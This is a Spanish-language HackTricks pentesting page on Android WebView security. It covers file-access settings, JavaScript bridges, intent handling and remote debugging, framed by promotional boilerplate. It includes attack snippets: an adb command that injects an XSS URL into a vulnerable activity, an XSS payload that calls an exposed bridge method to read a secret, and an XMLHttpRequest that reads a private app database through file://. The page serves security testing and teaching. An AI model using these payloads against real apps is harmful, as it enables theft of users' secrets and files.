hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

154 lines
9.7 KiB
Markdown
Raw Normal View History

# Ataques a WebView
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Guía sobre Configuraciones y Seguridad de WebView
### Resumen de Vulnerabilidades de WebView
2023-06-05 18:33:24 +00:00
Un aspecto crítico del desarrollo de Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
![Ejemplo de WebView](<../../.gitbook/assets/image (1190).png>)
### **Acceso a Archivos en WebViews**
2023-06-05 18:33:24 +00:00
Por defecto, las WebViews permiten el acceso a archivos. Esta funcionalidad está controlada por el método `setAllowFileAccess()`, disponible desde el nivel de API de Android 3 (Cupcake 1.5). Las aplicaciones con el permiso **android.permission.READ\_EXTERNAL\_STORAGE** pueden leer archivos desde el almacenamiento externo utilizando un esquema de URL de archivo (`file://ruta/al/archivo`).
2023-06-05 18:33:24 +00:00
#### **Funciones Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs**
2023-06-05 18:33:24 +00:00
* **Acceso Universal Desde URLs de Archivo**: Esta función obsoleta permitía solicitudes entre dominios desde URLs de archivo, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración predeterminada está deshabilitada (`false`) para aplicaciones dirigidas a Android Jelly Bean y versiones más nuevas.
* Para verificar esta configuración, utiliza `getAllowUniversalAccessFromFileURLs()`.
* Para modificar esta configuración, utiliza `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Acceso a Archivos Desde URLs de Archivo**: Esta función, también obsoleta, controlaba el acceso a contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuración predeterminada está deshabilitada para una mayor seguridad.
* Utiliza `getAllowFileAccessFromFileURLs()` para verificar y `setAllowFileAccessFromFileURLs(boolean)` para establecer.
2023-06-05 18:33:24 +00:00
#### **Carga Segura de Archivos**
2023-06-05 18:33:24 +00:00
Para deshabilitar el acceso al sistema de archivos y seguir accediendo a activos y recursos, se utiliza el método `setAllowFileAccess()`. Con Android R y versiones posteriores, la configuración predeterminada es `false`.
* Verifica con `getAllowFileAccess()`.
* Habilita o deshabilita con `setAllowFileAccess(boolean)`.
2023-06-05 18:33:24 +00:00
#### **WebViewAssetLoader**
2023-06-05 18:33:24 +00:00
La clase **WebViewAssetLoader** es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, alineándose con la política de mismo origen, facilitando así la gestión de CORS.
### loadUrl
2023-06-05 18:33:24 +00:00
Esta es una función común utilizada para cargar URLs arbitrarias en un webview:
```java
webview.loadUrl("<url here>")
```
Por supuesto, un posible atacante nunca debería poder **controlar la URL** que una aplicación va a cargar.
### **JavaScript y Manejo de Esquemas de Intención**
2023-06-05 18:33:24 +00:00
* **JavaScript**: Deshabilitado de forma predeterminada en WebViews, se puede habilitar a través de `setJavaScriptEnabled()`. Se recomienda precaución, ya que habilitar JavaScript sin las debidas precauciones puede introducir vulnerabilidades de seguridad.
* **Esquema de Intención**: Las WebViews pueden manejar el esquema `intent`, lo que potencialmente puede llevar a explotaciones si no se maneja cuidadosamente. Un ejemplo de vulnerabilidad involucró un parámetro expuesto de WebView "support\_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
![WebView Vulnerable](<../../.gitbook/assets/image (1191).png>)
2023-06-05 18:33:24 +00:00
Ejemplo de explotación usando adb:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
{% endcode %}
### Puente de JavaScript
2023-06-05 18:33:24 +00:00
Android proporciona una característica que permite que **JavaScript** en un WebView invoque **funciones de aplicaciones nativas de Android**. Esto se logra utilizando el método `addJavascriptInterface`, que integra JavaScript con funcionalidades nativas de Android, denominado como un _puente de JavaScript de WebView_. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de Interfaz de JavaScript registrado, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
2023-06-05 18:33:24 +00:00
* **Se requiere extrema precaución** para aplicaciones dirigidas a versiones de Android por debajo de 4.2 debido a una vulnerabilidad que permite la ejecución de código remoto a través de JavaScript malicioso, explotando la reflexión.
#### Implementación de un Puente de JavaScript
* Las **interfaces de JavaScript** pueden interactuar con el código nativo, como se muestra en los ejemplos donde se expone un método de clase a JavaScript:
2023-06-05 18:33:24 +00:00
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2023-06-05 18:33:24 +00:00
```
* JavaScript Bridge se habilita agregando una interfaz al WebView:
2023-06-05 18:33:24 +00:00
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Posible explotación a través de JavaScript, por ejemplo, mediante un ataque XSS, permite llamar a métodos Java expuestos:
```html
2023-06-05 18:33:24 +00:00
<script>alert(javascriptBridge.getSecret());</script>
```
* Para mitigar riesgos, **restrinja el uso del puente JavaScript** al código enviado con el APK y evite cargar JavaScript desde fuentes remotas. Para dispositivos más antiguos, establezca el nivel mínimo de API en 17.
2023-06-05 18:33:24 +00:00
### Ejecución de Código Remoto (RCE) basada en Reflexión
2023-06-05 18:33:24 +00:00
* Un método documentado permite lograr RCE a través de la reflexión al ejecutar una carga útil específica. Sin embargo, la anotación `@JavascriptInterface` evita el acceso no autorizado a métodos, limitando la superficie de ataque.
2023-06-05 18:33:24 +00:00
### Depuración Remota
2023-06-05 18:33:24 +00:00
* La **depuración remota** es posible con **Chrome Developer Tools**, lo que permite la interacción y la ejecución arbitraria de JavaScript dentro del contenido de WebView.
2023-06-05 18:33:24 +00:00
#### Habilitar la Depuración Remota
2023-06-05 18:33:24 +00:00
* La depuración remota se puede habilitar para todos los WebViews dentro de una aplicación mediante:
2023-06-05 18:33:24 +00:00
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
2023-06-05 18:33:24 +00:00
}
```
* Para habilitar condicionalmente la depuración basada en el estado de depuración de la aplicación:
2023-06-05 18:33:24 +00:00
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
2023-06-05 18:33:24 +00:00
}
```
## Exfiltrar archivos arbitrarios
* Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
2023-06-05 18:33:24 +00:00
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
2023-06-05 18:33:24 +00:00
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Referencias
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>